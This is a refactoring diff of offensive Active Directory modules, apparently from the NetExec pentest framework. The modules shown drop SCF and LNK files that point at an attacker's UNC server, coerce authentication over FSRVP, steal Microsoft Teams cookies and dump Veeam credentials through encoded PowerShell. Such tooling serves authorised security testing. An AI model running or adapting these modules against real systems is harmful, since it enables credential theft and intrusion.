with codecs.open(path, "w", "utf-8") as outfile:
for row in outdata:
if self.showhosts:
outfile.write("{}\n".format(row["name"] + "." + connection.domain))
outfile.write(f"{row['name'] + '.' + connection.domain}\n")
elif self.showall:
outfile.write("{} \t {}\n".format(row["name"] + "." + connection.domain, row["value"]))
outfile.write(f"{row['name'] + '.' + connection.domain} \t {row['value']}\n")
else:
outfile.write("{}\n".format(row["value"]))
context.log.success("Dumped {} records to {}".format(len(outdata), path))
outfile.write(f"{row['value']}\n")
context.log.success(f"Dumped {len(outdata)} records to {path}")
if not self.showall and not self.showhosts:
context.log.display("To extract CIDR from the {} ip, run the following command: cat" " your_file | mapcidr -aa -silent | mapcidr -a -silent".format(len(outdata)))
context.log.display(f"To extract CIDR from the {len(outdata)} ip, run the following command: cat your_file | mapcidr -aa -silent | mapcidr -a -silent")
class DNS_RECORD(Structure):
@ -250,9 +248,9 @@ class DNS_COUNT_NAME(Structure):
def toFqdn(self):
ind = 0
labels = []
for i in range(self["LabelCount"]):
nextlen = unpack("B", self["RawName"][ind : ind + 1])[0]
labels.append(self["RawName"][ind + 1 : ind + 1 + nextlen].decode("utf-8"))
for _i in range(self["LabelCount"]):
nextlen = unpack("B", self["RawName"][ind: ind + 1])[0]
labels.append(self["RawName"][ind + 1: ind + 1 + nextlen].decode("utf-8"))
ind += nextlen + 1
# For the final dot
labels.append("")

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
from time import sleep
from datetime import datetime
@ -21,7 +18,6 @@ class NXCModule:
CMD Command to execute
USER User to execute command as
"""
self.cmd = self.user = self.time = None
if "CMD" in module_options:
self.cmd = module_options["CMD"]
@ -60,7 +56,7 @@ class NXCModule:
connection.hash,
self.logger,
connection.args.get_output_tries,
"C$" # This one shouldn't be hardcoded but I don't know where to retrive the info
"C$", # This one shouldn't be hardcoded but I don't know where to retrieve the info
)
self.logger.display(f"Executing {self.cmd} as {self.user}")
@ -70,7 +66,7 @@ class NXCModule:
if not isinstance(output, str):
output = output.decode(connection.args.codec)
except UnicodeDecodeError:
# Required to decode specific french caracters otherwise it'll print b"<result>"
# Required to decode specific French characters otherwise it'll print b"<result>"
output = output.decode("cp437")
if output:
self.logger.highlight(output)
@ -256,10 +252,10 @@ class TSCH_EXEC:
if fileless:
while True:
try:
with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename), "r") as output:
with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename)) as output:
self.output_callback(output.read())
break
except IOError:
except OSError:
sleep(2)
else:
smbConnection = self.__rpctransport.get_smb_connection()

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import ntpath
from sys import exit
@ -52,11 +49,11 @@ class NXCModule:
if not self.cleanup:
self.server = module_options["SERVER"]
scuf = open(self.scf_path, "a")
scuf.write(f"[Shell]\n")
scuf.write(f"Command=2\n")
scuf.write(f"IconFile=\\\\{self.server}\\share\\icon.ico\n")
scuf.close()
with open(self.scf_path, "a") as scuf:
scuf.write("[Shell]\n")
scuf.write("Command=2\n")
scuf.write(f"IconFile=\\\\{self.server}\\share\\icon.ico\n")
def on_login(self, context, connection):
shares = connection.shares()

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import time
from impacket import system_errors
from impacket.dcerpc.v5 import transport
@ -101,13 +98,9 @@ class DCERPCSessionError(DCERPCException):
if key in error_messages:
error_msg_short = error_messages[key][0]
error_msg_verbose = error_messages[key][1]
return "SessionError: code: 0x%x - %s - %s" % (
self.error_code,
error_msg_short,
error_msg_verbose,
)
return f"SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return "SessionError: unknown error code: 0x%x" % self.error_code
return f"SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
@ -229,7 +222,7 @@ class CoerceAuth:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
nxc_logger.info("Connecting to %s" % binding_params[pipe]["stringBinding"])
nxc_logger.info(f"Connecting to {binding_params[pipe]['stringBinding']}")
try:
dce.connect()
@ -239,14 +232,14 @@ class CoerceAuth:
dce.disconnect()
return 1
nxc_logger.debug("Something went wrong, check error status => %s" % str(e))
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
nxc_logger.info("Connected!")
nxc_logger.info("Binding to %s" % binding_params[pipe]["UUID"][0])
nxc_logger.info(f"Binding to {binding_params[pipe]['UUID'][0]}")
try:
dce.bind(uuidtup_to_bin(binding_params[pipe]["UUID"]))
except Exception as e:
nxc_logger.debug("Something went wrong, check error status => %s" % str(e))
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
nxc_logger.info("Successfully bound!")
return dce
@ -257,8 +250,7 @@ class CoerceAuth:
request = IsPathShadowCopied()
# only NETLOGON and SYSVOL were detected working here
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
request["ShareName"] = "\\\\%s\\NETLOGON\x00" % listener
# request.dump()
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
dce.request(request)
except Exception as e:
nxc_logger.debug("Something went wrong, check error status => %s", str(e))
@ -273,7 +265,7 @@ class CoerceAuth:
request = IsPathSupported()
# only NETLOGON and SYSVOL were detected working here
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
request["ShareName"] = "\\\\%s\\NETLOGON\x00" % listener
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
dce.request(request)
except Exception as e:
nxc_logger.debug("Something went wrong, check error status => %s", str(e))

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import pylnk3
import ntpath
from sys import exit
@ -33,7 +30,6 @@ class NXCModule:
NAME LNK file name
CLEANUP Cleanup (choices: True or False)
"""
self.cleanup = False
if "CLEANUP" in module_options:

File diff suppressed because it is too large Load Diff

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py
from impacket import uuid
from impacket.dcerpc.v5 import transport, epm
@ -36,9 +33,7 @@ class NXCModule:
self.port = None
def options(self, context, module_options):
"""
PORT Port to check (defaults to 135)
"""
"""PORT Port to check (defaults to 135)"""
self.port = 135
if "PORT" in module_options:
self.port = int(module_options["PORT"])
@ -49,7 +44,7 @@ class NXCModule:
nthash = getattr(connection, "nthash", "")
self.__stringbinding = KNOWN_PROTOCOLS[self.port]["bindstr"] % connection.host
context.log.debug("StringBinding %s" % self.__stringbinding)
context.log.debug(f"StringBinding {self.__stringbinding}")
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
rpctransport.setRemoteHost(connection.host if not connection.kerberos else connection.hostname + "." + connection.domain)
@ -61,11 +56,11 @@ class NXCModule:
try:
entries = self.__fetch_list(rpctransport)
except Exception as e:
error_text = "Protocol failed: %s" % e
error_text = f"Protocol failed: {e}"
context.log.critical(error_text)
if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or RPC_PROXY_CONN_A1_404_ERR in error_text or RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
context.log.critical("This usually means the target does not allow " "to connect to its epmapper using RpcProxy.")
context.log.critical("This usually means the target does not allow to connect to its epmapper using RpcProxy.")
return
# Display results.
@ -76,27 +71,21 @@ class NXCModule:
tmp_uuid = str(entry["tower"]["Floors"][0])
if (tmp_uuid in endpoints) is not True:
endpoints[tmp_uuid] = {}
endpoints[tmp_uuid]["Bindings"] = list()
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18] in epm.KNOWN_UUIDS:
endpoints[tmp_uuid]["EXE"] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18]]
else:
endpoints[tmp_uuid]["EXE"] = "N/A"
endpoints[tmp_uuid]["Bindings"] = []
endpoints[tmp_uuid]["EXE"] = epm.KNOWN_UUIDS.get(uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18], "N/A")
endpoints[tmp_uuid]["annotation"] = entry["annotation"][:-1].decode("utf-8")
endpoints[tmp_uuid]["Bindings"].append(binding)
if tmp_uuid[:36] in epm.KNOWN_PROTOCOLS:
endpoints[tmp_uuid]["Protocol"] = epm.KNOWN_PROTOCOLS[tmp_uuid[:36]]
else:
endpoints[tmp_uuid]["Protocol"] = "N/A"
endpoints[tmp_uuid]["Protocol"] = epm.KNOWN_PROTOCOLS.get(tmp_uuid[:36], "N/A")
for endpoint in list(endpoints.keys()):
if "MS-RPRN" in endpoints[endpoint]["Protocol"]:
context.log.debug("Protocol: %s " % endpoints[endpoint]["Protocol"])
context.log.debug("Provider: %s " % endpoints[endpoint]["EXE"])
context.log.debug("UUID : %s %s" % (endpoint, endpoints[endpoint]["annotation"]))
context.log.debug(f"Protocol: {endpoints[endpoint]['Protocol']} ")
context.log.debug(f"Provider: {endpoints[endpoint]['EXE']} ")
context.log.debug(f"UUID : {endpoint} {endpoints[endpoint]['annotation']}")
context.log.debug("Bindings: ")
for binding in endpoints[endpoint]["Bindings"]:
context.log.debug(" %s" % binding)
context.log.debug(f" {binding}")
context.log.debug("")
context.log.highlight("Spooler service enabled")
try:
@ -110,18 +99,18 @@ class NXCModule:
host.signing,
spooler=True,
)
except Exception as e:
context.log.debug(f"Error updating spooler status in database")
except Exception:
context.log.debug("Error updating spooler status in database")
break
if entries:
num = len(entries)
if 1 == num:
context.log.debug(f"[Spooler] Received one endpoint")
if num == 1:
context.log.debug("[Spooler] Received one endpoint")
else:
context.log.debug(f"[Spooler] Received {num} endpoints")
else:
context.log.debug(f"[Spooler] No endpoints found")
context.log.debug("[Spooler] No endpoints found")
def __fetch_list(self, rpctransport):
dce = rpctransport.get_dce_rpc()

View File

@ -1,10 +1,9 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap.ldap import LDAPSearchError
import sys
def searchResEntry_to_dict(results):
def search_res_entry_to_dict(results):
data = {}
for attr in results["attributes"]:
key = str(attr["type"])
@ -22,10 +21,7 @@ class NXCModule:
"""
def options(self, context, module_options):
"""
showservers Toggle printing of servers (default: true)
"""
"""Showservers Toggle printing of servers (default: true)"""
self.showservers = True
self.base_dn = None
@ -52,38 +48,40 @@ class NXCModule:
try:
list_sites = connection.ldapConnection.search(
searchBase="CN=Configuration,%s" % dn,
searchBase=f"CN=Configuration,{dn}",
searchFilter="(objectClass=site)",
attributes=["distinguishedName", "name", "description"],
sizeLimit=999,
)
except LDAPSearchError as e:
context.log.fail(str(e))
exit()
sys.exit()
for site in list_sites:
if isinstance(site, ldapasn1_impacket.SearchResultEntry) is not True:
continue
site = searchResEntry_to_dict(site)
site = search_res_entry_to_dict(site)
site_dn = site["distinguishedName"]
site_name = site["name"]
site_description = ""
if "description" in site.keys():
if "description" in site:
site_description = site["description"]
# Getting subnets of this site
list_subnets = connection.ldapConnection.search(
searchBase="CN=Sites,CN=Configuration,%s" % dn,
searchFilter="(siteObject=%s)" % site_dn,
searchBase=f"CN=Sites,CN=Configuration,{dn}",
searchFilter=f"(siteObject={site_dn})",
attributes=["distinguishedName", "name"],
sizeLimit=999,
)
if len([subnet for subnet in list_subnets if isinstance(subnet, ldapasn1_impacket.SearchResultEntry)]) == 0:
context.log.highlight('Site "%s"' % site_name)
context.log.highlight(f'Site "{site_name}"')
else:
for subnet in list_subnets:
if isinstance(subnet, ldapasn1_impacket.SearchResultEntry) is not True:
continue
subnet = searchResEntry_to_dict(subnet)
subnet_dn = subnet["distinguishedName"]
subnet = search_res_entry_to_dict(subnet)
subnet["distinguishedName"]
subnet_name = subnet["name"]
if self.showservers:
@ -96,28 +94,20 @@ class NXCModule:
)
if len([server for server in list_servers if isinstance(server, ldapasn1_impacket.SearchResultEntry)]) == 0:
if len(site_description) != 0:
context.log.highlight('Site "%s" (Subnet:%s) (description:"%s")' % (site_name, subnet_name, site_description))
context.log.highlight(f'Site "{site_name}" (Subnet:{subnet_name}) (description:"{site_description}")')
else:
context.log.highlight('Site "%s" (Subnet:%s)' % (site_name, subnet_name))
context.log.highlight(f'Site "{site_name}" (Subnet:{subnet_name})')
else:
for server in list_servers:
if isinstance(server, ldapasn1_impacket.SearchResultEntry) is not True:
continue
server = searchResEntry_to_dict(server)["cn"]
server = search_res_entry_to_dict(server)["cn"]
if len(site_description) != 0:
context.log.highlight(
'Site "%s" (Subnet:%s) (description:"%s") (Server:%s)'
% (
site_name,
subnet_name,
site_description,
server,
)
)
context.log.highlight(f"Site: '{site_name}' (Subnet:{subnet_name}) (description:'{site_description}') (Server:'{server}')")
else:
context.log.highlight('Site "%s" (Subnet:%s) (Server:%s)' % (site_name, subnet_name, server))
context.log.highlight(f'Site "{site_name}" (Subnet:{subnet_name}) (Server:{server})')
else:
if len(site_description) != 0:
context.log.highlight('Site "%s" (Subnet:%s) (description:"%s")' % (site_name, subnet_name, site_description))
context.log.highlight(f'Site "{site_name}" (Subnet:{subnet_name}) (description:"{site_description}")')
else:
context.log.highlight('Site "%s" (Subnet:%s)' % (site_name, subnet_name))
context.log.highlight(f'Site "{site_name}" (Subnet:{subnet_name})')

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sqlite3
@ -17,7 +14,6 @@ class NXCModule:
def on_admin_login(self, context, connection):
context.log.display("Killing all Teams process to open the cookie file")
connection.execute("taskkill /F /T /IM teams.exe")
# sleep(3)
found = 0
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
with open("/tmp/teams_cookies2.txt", "wb") as f:
@ -48,7 +44,7 @@ class NXCModule:
if row is None:
context.log.fail("No " + name + " present in Microsoft Teams Cookies database")
else:
context.log.success("Succesfully extracted " + name + ": ")
context.log.success("Successfully extracted " + name + ": ")
context.log.success(row[0])
conn.close()
except Exception as e:

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from sys import exit
@ -17,9 +14,7 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""
HOST Host to ping
"""
"""HOST Host to ping"""
self.host = None
if "HOST" not in module_options:

View File

@ -1,14 +1,15 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.ldap import ldapasn1 as ldapasn1_impacket
class NXCModule:
'''
Extract all Trust Relationships, Trusting Direction, and Trust Transitivity
Module by Brandon Fisher @shad0wcntr0ller
'''
name = 'enum_trusts'
description = 'Extract all Trust Relationships, Trusting Direction, and Trust Transitivity'
supported_protocols = ['ldap']
"""
Extract all Trust Relationships, Trusting Direction, and Trust Transitivity
Module by Brandon Fisher @shad0wcntr0ller
"""
name = "enum_trusts"
description = "Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
@ -16,73 +17,71 @@ class NXCModule:
pass
def on_login(self, context, connection):
domain_dn = ','.join(['DC=' + dc for dc in connection.domain.split('.')])
search_filter = '(&(objectClass=trustedDomain))'
attributes = ['flatName', 'trustPartner', 'trustDirection', 'trustAttributes']
domain_dn = ",".join(["DC=" + dc for dc in connection.domain.split(".")])
search_filter = "(&(objectClass=trustedDomain))"
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
context.log.debug(f'Search Filter={search_filter}')
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchBase=domain_dn, searchFilter=search_filter, attributes=attributes, sizeLimit=0)
trusts = []
context.log.debug(f'Total of records returned {len(resp)}')
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
flat_name = ''
trust_partner = ''
trust_direction = ''
trust_transitive = []
flat_name = ""
trust_partner = ""
trust_direction = ""
trust_transitive = []
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'flatName':
flat_name = str(attribute['vals'][0])
elif str(attribute['type']) == 'trustPartner':
trust_partner = str(attribute['vals'][0])
elif str(attribute['type']) == 'trustDirection':
if str(attribute['vals'][0]) == '1':
trust_direction = 'Inbound'
elif str(attribute['vals'][0]) == '2':
trust_direction = 'Outbound'
elif str(attribute['vals'][0]) == '3':
trust_direction = 'Bidirectional'
elif str(attribute['type']) == 'trustAttributes':
trust_attributes_value = int(attribute['vals'][0])
for attribute in item["attributes"]:
if str(attribute["type"]) == "flatName":
flat_name = str(attribute["vals"][0])
elif str(attribute["type"]) == "trustPartner":
trust_partner = str(attribute["vals"][0])
elif str(attribute["type"]) == "trustDirection":
if str(attribute["vals"][0]) == "1":
trust_direction = "Inbound"
elif str(attribute["vals"][0]) == "2":
trust_direction = "Outbound"
elif str(attribute["vals"][0]) == "3":
trust_direction = "Bidirectional"
elif str(attribute["type"]) == "trustAttributes":
trust_attributes_value = int(attribute["vals"][0])
if trust_attributes_value & 0x1:
trust_transitive.append('Non-Transitive')
trust_transitive.append("Non-Transitive")
if trust_attributes_value & 0x2:
trust_transitive.append('Uplevel-Only')
trust_transitive.append("Uplevel-Only")
if trust_attributes_value & 0x4:
trust_transitive.append('Quarantined Domain')
trust_transitive.append("Quarantined Domain")
if trust_attributes_value & 0x8:
trust_transitive.append('Forest Transitive')
trust_transitive.append("Forest Transitive")
if trust_attributes_value & 0x10:
trust_transitive.append('Cross Organization')
trust_transitive.append("Cross Organization")
if trust_attributes_value & 0x20:
trust_transitive.append('Within Forest')
trust_transitive.append("Within Forest")
if trust_attributes_value & 0x40:
trust_transitive.append('Treat as External')
trust_transitive.append("Treat as External")
if trust_attributes_value & 0x80:
trust_transitive.append('Uses RC4 Encryption')
trust_transitive.append("Uses RC4 Encryption")
if trust_attributes_value & 0x100:
trust_transitive.append('Cross Organization No TGT Delegation')
trust_transitive.append("Cross Organization No TGT Delegation")
if trust_attributes_value & 0x2000:
trust_transitive.append('PAM Trust')
trust_transitive.append("PAM Trust")
if not trust_transitive:
trust_transitive.append('Other')
trust_transitive = ', '.join(trust_transitive)
trust_transitive.append("Other")
trust_transitive = ", ".join(trust_transitive)
if flat_name and trust_partner and trust_direction and trust_transitive:
trusts.append((flat_name, trust_partner, trust_direction, trust_transitive))
except Exception as e:
context.log.debug(f'Cannot process trust relationship due to error {e}')
pass
context.log.debug(f"Cannot process trust relationship due to error {e}")
if trusts:
context.log.success('Found the following trust relationships:')
context.log.success("Found the following trust relationships:")
for trust in trusts:
context.log.highlight(f'{trust[1]} -> {trust[2]} -> {trust[3]}')
context.log.highlight(f"{trust[1]} -> {trust[2]} -> {trust[3]}")
else:
context.log.display('No trust relationships found')
context.log.display("No trust relationships found")
return True

View File

@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import logging
from impacket.dcerpc.v5 import rrp

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pathlib import Path
from datetime import datetime
from impacket.ldap import ldap, ldapasn1
@ -31,10 +28,10 @@ class NXCModule:
def options(self, context, module_options):
"""
LDAP_FILTER Custom LDAP search filter (fully replaces the default search)
DESC_FILTER An additional seach filter for descriptions (supports wildcard *)
DESC_INVERT An additional seach filter for descriptions (shows non matching)
USER_FILTER An additional seach filter for usernames (supports wildcard *)
USER_INVERT An additional seach filter for usernames (shows non matching)
DESC_FILTER An additional search filter for descriptions (supports wildcard *)
DESC_INVERT An additional search filter for descriptions (shows non matching)
USER_FILTER An additional search filter for usernames (supports wildcard *)
USER_INVERT An additional search filter for usernames (shows non matching)
KEYWORDS Use a custom set of keywords (comma separated)
ADD_KEYWORDS Add additional keywords to the default set (comma separated)
"""
@ -87,25 +84,21 @@ class NXCModule:
perRecordCallback=self.process_record,
)
except LDAPSearchError as e:
context.log.fail(f"Obtained unexpected exception: {str(e)}")
context.log.fail(f"Obtained unexpected exception: {e!s}")
finally:
self.delete_log_file()
def create_log_file(self, host, time):
"""
Create a log file for dumping user descriptions.
"""
"""Create a log file for dumping user descriptions."""
logfile = f"UserDesc-{host}-{time}.log"
logfile = Path.home().joinpath(".nxc").joinpath("logs").joinpath(logfile)
self.context.log.info(f"Creating log file '{logfile}'")
self.log_file = open(logfile, "w")
self.log_file = open(logfile, "w") # noqa: SIM115
self.append_to_log("User:", "Description:")
def delete_log_file(self):
"""
Closes the log file.
"""
"""Closes the log file."""
try:
self.log_file.close()
info = f"Saved {self.desc_count} user descriptions to {self.log_file.name}"
@ -145,7 +138,7 @@ class NXCModule:
description = attribute["vals"][0].asOctets().decode("utf-8")
except Exception as e:
entry = sAMAccountName or "item"
self.context.error(f"Skipping {entry}, cannot process LDAP entry due to error: '{str(e)}'")
self.context.error(f"Skipping {entry}, cannot process LDAP entry due to error: '{e!s}'")
if description and sAMAccountName not in self.account_names:
self.desc_count += 1
@ -170,7 +163,4 @@ class NXCModule:
More dedicated searches for sensitive information should be done using the logfile.
This allows you to refine your search query at any time without having to pull data from AD again.
"""
for keyword in self.keywords:
if keyword.lower() in description.lower():
return True
return False
return any(keyword.lower() in description.lower() for keyword in self.keywords)

View File

@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Initially created by @sadshade, all output to him:
# https://github.com/sadshade/veeam-output
@ -12,9 +10,7 @@ from nxc.helpers.powershell import get_ps_script
class NXCModule:
"""
Module by @NeffIsBack, @Marshall-Hallenbeck
"""
"""Module by @NeffIsBack, @Marshall-Hallenbeck"""
name = "veeam"
description = "Extracts credentials from local Veeam SQL Database"
@ -23,16 +19,13 @@ class NXCModule:
multiple_hosts = True
def __init__(self):
with open(get_ps_script("veeam_dump_module/veeam_dump_mssql.ps1"), "r") as psFile:
with open(get_ps_script("veeam_dump_module/veeam_dump_mssql.ps1")) as psFile:
self.psScriptMssql = psFile.read()
with open(get_ps_script("veeam_dump_module/veeam_dump_postgresql.ps1"), "r") as psFile:
with open(get_ps_script("veeam_dump_module/veeam_dump_postgresql.ps1")) as psFile:
self.psScriptPostgresql = psFile.read()
def options(self, context, module_options):
"""
No options
"""
pass
"""No options"""
def checkVeeamInstalled(self, context, connection):
context.log.display("Looking for Veeam installation...")
@ -56,7 +49,7 @@ class NXCModule:
# Veeam v12 check
try:
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations",)
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations")
keyHandle = ans["phkResult"]
database_config = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlActiveConfiguration")[1].split("\x00")[:-1][0]
@ -64,16 +57,16 @@ class NXCModule:
context.log.success("Veeam v12 installation found!")
if database_config == "PostgreSql":
# Find the PostgreSql installation path containing "psql.exe"
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\PostgreSQL Global Development Group\\PostgreSQL",)
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\PostgreSQL Global Development Group\\PostgreSQL")
keyHandle = ans["phkResult"]
PostgreSqlExec = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "Location")[1].split("\x00")[:-1][0] + "\\bin\\psql.exe"
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\PostgreSQL",)
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\PostgreSQL")
keyHandle = ans["phkResult"]
PostgresUserForWindowsAuth = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "PostgresUserForWindowsAuth")[1].split("\x00")[:-1][0]
SqlDatabaseName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
elif database_config == "MsSql":
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\MsSql",)
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\MsSql")
keyHandle = ans["phkResult"]
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
@ -88,7 +81,7 @@ class NXCModule:
# Veeam v11 check
try:
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication",)
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication")
keyHandle = ans["phkResult"]
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
@ -102,9 +95,6 @@ class NXCModule:
except Exception as e:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())
except NotImplementedError as e:
pass
except Exception as e:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())
@ -126,14 +116,14 @@ class NXCModule:
def stripXmlOutput(self, context, output):
return output.split("CLIXML")[1].split("<Objs Version")[0]
def executePsMssql(self, context, connection, SqlDatabase, SqlInstance, SqlServer):
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlDatabase", SqlDatabase)
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlInstance", SqlInstance)
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlServer", SqlServer)
psScipt_b64 = b64encode(self.psScriptMssql.encode("UTF-16LE")).decode("utf-8")
return connection.execute("powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True)
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
def executePsPostgreSql(self, context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName):
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgreSqlExec", PostgreSqlExec)
@ -141,7 +131,7 @@ class NXCModule:
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_SqlDatabaseName", SqlDatabaseName)
psScipt_b64 = b64encode(self.psScriptPostgresql.encode("UTF-16LE")).decode("utf-8")
return connection.execute("powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True)
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
def printCreds(self, context, output):
# Format output if returned in some XML Format
@ -163,8 +153,8 @@ class NXCModule:
user, password = account.split(" ", 1)
password = password.replace("WHITESPACE_ERROR", " ")
context.log.highlight(user + ":" + f"{password}")
if ' ' in password:
context.log.fail(f"Password contains whitespaces! The password for user \"{user}\" is: \"{password}\"")
if " " in password:
context.log.fail(f'Password contains whitespaces! The password for user "{user}" is: "{password}"')
def on_admin_login(self, context, connection):
self.checkVeeamInstalled(context, connection)

View File

@ -1,26 +1,22 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import json
import logging
import operator
import sys
import time
from impacket.system_errors import ERROR_NO_MORE_ITEMS, ERROR_FILE_NOT_FOUND, ERROR_OBJECT_NOT_FOUND
from termcolor import colored
from nxc.logger import nxc_logger
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp, samr, scmr
from impacket.dcerpc.v5.rrp import DCERPCSessionError
from impacket.smbconnection import SessionError as SMBSessionError
from impacket.examples.secretsdump import RemoteOperations
from impacket.system_errors import *
# Configuration variables
OUTDATED_THRESHOLD = 30
DEFAULT_OUTPUT_FILE = './wcc_results.json'
DEFAULT_OUTPUT_FORMAT = 'json'
VALID_OUTPUT_FORMATS = ['json', 'csv']
DEFAULT_OUTPUT_FILE = "./wcc_results.json"
DEFAULT_OUTPUT_FORMAT = "json"
VALID_OUTPUT_FORMATS = ["json", "csv"]
# Registry value types
REG_VALUE_TYPE_UNDEFINED = 0
@ -33,28 +29,34 @@ REG_VALUE_TYPE_UNICODE_STRING_SEQUENCE = 7
REG_VALUE_TYPE_64BIT_LE = 11
# Setup file logger
if 'wcc_logger' not in globals():
wcc_logger = logging.getLogger('WCC')
if "wcc_logger" not in globals():
wcc_logger = logging.getLogger("WCC")
wcc_logger.propagate = False
log_filename = nxc_logger.init_log_file()
log_filename = log_filename.replace('log_', 'wcc_')
log_filename = log_filename.replace("log_", "wcc_")
wcc_logger.setLevel(logging.INFO)
wcc_file_handler = logging.FileHandler(log_filename)
wcc_file_handler.setFormatter(logging.Formatter('%(asctime)s [%(levelname)s] %(message)s'))
wcc_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
wcc_logger.addHandler(wcc_file_handler)
class ConfigCheck:
"""
Class for performing the checks and holding the results
"""
"""Class for performing the checks and holding the results"""
module = None
def __init__(self, name, description="", checkers=[None], checker_args=[[]], checker_kwargs=[{}]):
def __init__(self, name, description="", checkers=None, checker_args=None, checker_kwargs=None):
